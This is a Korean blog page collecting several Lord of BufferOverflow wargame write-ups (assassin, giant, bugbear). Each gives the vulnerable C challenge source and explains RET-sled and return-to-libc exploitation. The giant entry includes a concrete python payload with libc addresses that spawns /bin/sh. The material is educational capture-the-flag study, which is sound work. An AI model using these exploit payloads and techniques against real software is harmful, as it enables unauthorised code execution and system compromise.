/*
        The Lord of the BOF : The Fellowship of the BOF
        - assassin
        - no stack, no RTL
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] == '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer+sfp hunter
        memset(buffer, 0, 44);
}


이 문제는 RET sled로 문제를 풀었다. 

RET Sled란 ASCII Armor가 적용된 프로그램을 뚫을때 이용하는 기법인데

return address가 있어야하는 주소에 RET 가젯을 넣는다. 

RET가젯이란 아래 보이는 것처럼 프로그램의 RET의 주소를 return address에 넣는 것을 말한다.


많이 넣으면 RET가젯을 넣은 만큼 esp+4가 계속 되어 esp를 원하는 주소까지 올릴 수 있다.

ret에서 RET가젯을 실행하고 나면 esp가 ret+4가 되는데 이를 이용해 문제를 풀면 된다.


ret sled를 이용해 rtl도 가능하다.


ret에 RET가젯을 넣고 system()[4] + dummy or exit()[4] + /bin/sh[4] 를 하면 끝


'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow zombie_assassin  (0) 2017.09.07
Lord of bufferoverflow assassin  (0) 2017.08.26
Lord of bufferoverflow bugbear  (0) 2017.08.22
Lord of bufferoverflow darkknight  (0) 2017.08.22
Lord of bufferoverflow golem  (0) 2017.08.21

/*

        The Lord of the BOF : The Fellowship of the BOF

        - giant

        - RTL2

*/


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(int argc, char *argv[])

{

        char buffer[40];

        FILE *fp;

        char *lib_addr, *execve_offset, *execve_addr;

        char *ret;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // gain address of execve

        fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "(%x)", &lib_addr);

        fclose(fp);


        fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "%x", &execve_offset);

        fclose(fp);


        execve_addr = lib_addr + (int)execve_offset;

        // end


        memcpy(&ret, &(argv[1][44]), 4);

        if(ret != execve_addr)

        {

                printf("You must use execve!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}



system : 0x40058ae0

exit : 0x400391e0

/bin/sh : 0x400fbff9

execve : 0x400a9d48


execve함수의 ebp에 함수를 넣는다.

payload = "`python -c 'print "\x90"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"'`"




'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow assassin  (0) 2017.08.26
Lord of bufferoverflow giant  (0) 2017.08.26
Lord of bufferoverflow darkknight  (0) 2017.08.22
Lord of bufferoverflow golem  (0) 2017.08.21
Lord of bufferoverflow skeleton  (0) 2017.08.21
문제 소스는 아래와 같다.
/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] == '\xbf')
        {
                printf("stack betrayed you!!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

이전 문제와 달리 strcpy함수를 사용한다. 그리고 이전에 풀었던 문제들과 다른점은 argv[1]에 넣은 RET가 0xbf------여야 한다는 조건이 있었으나 이번에는 \xbf가 아니여야 strcpy함수를 호출할 수 있다.

간단하게 RTL로 풀 수 있다.

RTL의 payload는 NOP[44]+system address[4]+NOP[4]+/bin/sh address 이다.

system 함수의 주소와 /bin/sh의 주소를 알기 위해 GDB에서 leave에 BP를 걸고 실행한 후 system 함수의 주소를 알아냈다.


마찬가지로 /bin/sh의 주소를 알아야하는데 이를 알아내는 C코드를 컴파일하여 실행했다. 소스는 아래와 같다.


컴파일한 후 실행하면 아래와같이 주소가 나온다.


필요한 값들을 알았으니 payload를 작성했다.


쉘이 따졌다.



'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow giant  (0) 2017.08.26
Lord of bufferoverflow bugbear  (0) 2017.08.22
Lord of bufferoverflow golem  (0) 2017.08.21
Lord of bufferoverflow skeleton  (0) 2017.08.21
Lord of bufferoverflow vampire  (0) 2017.08.18

+ Recent posts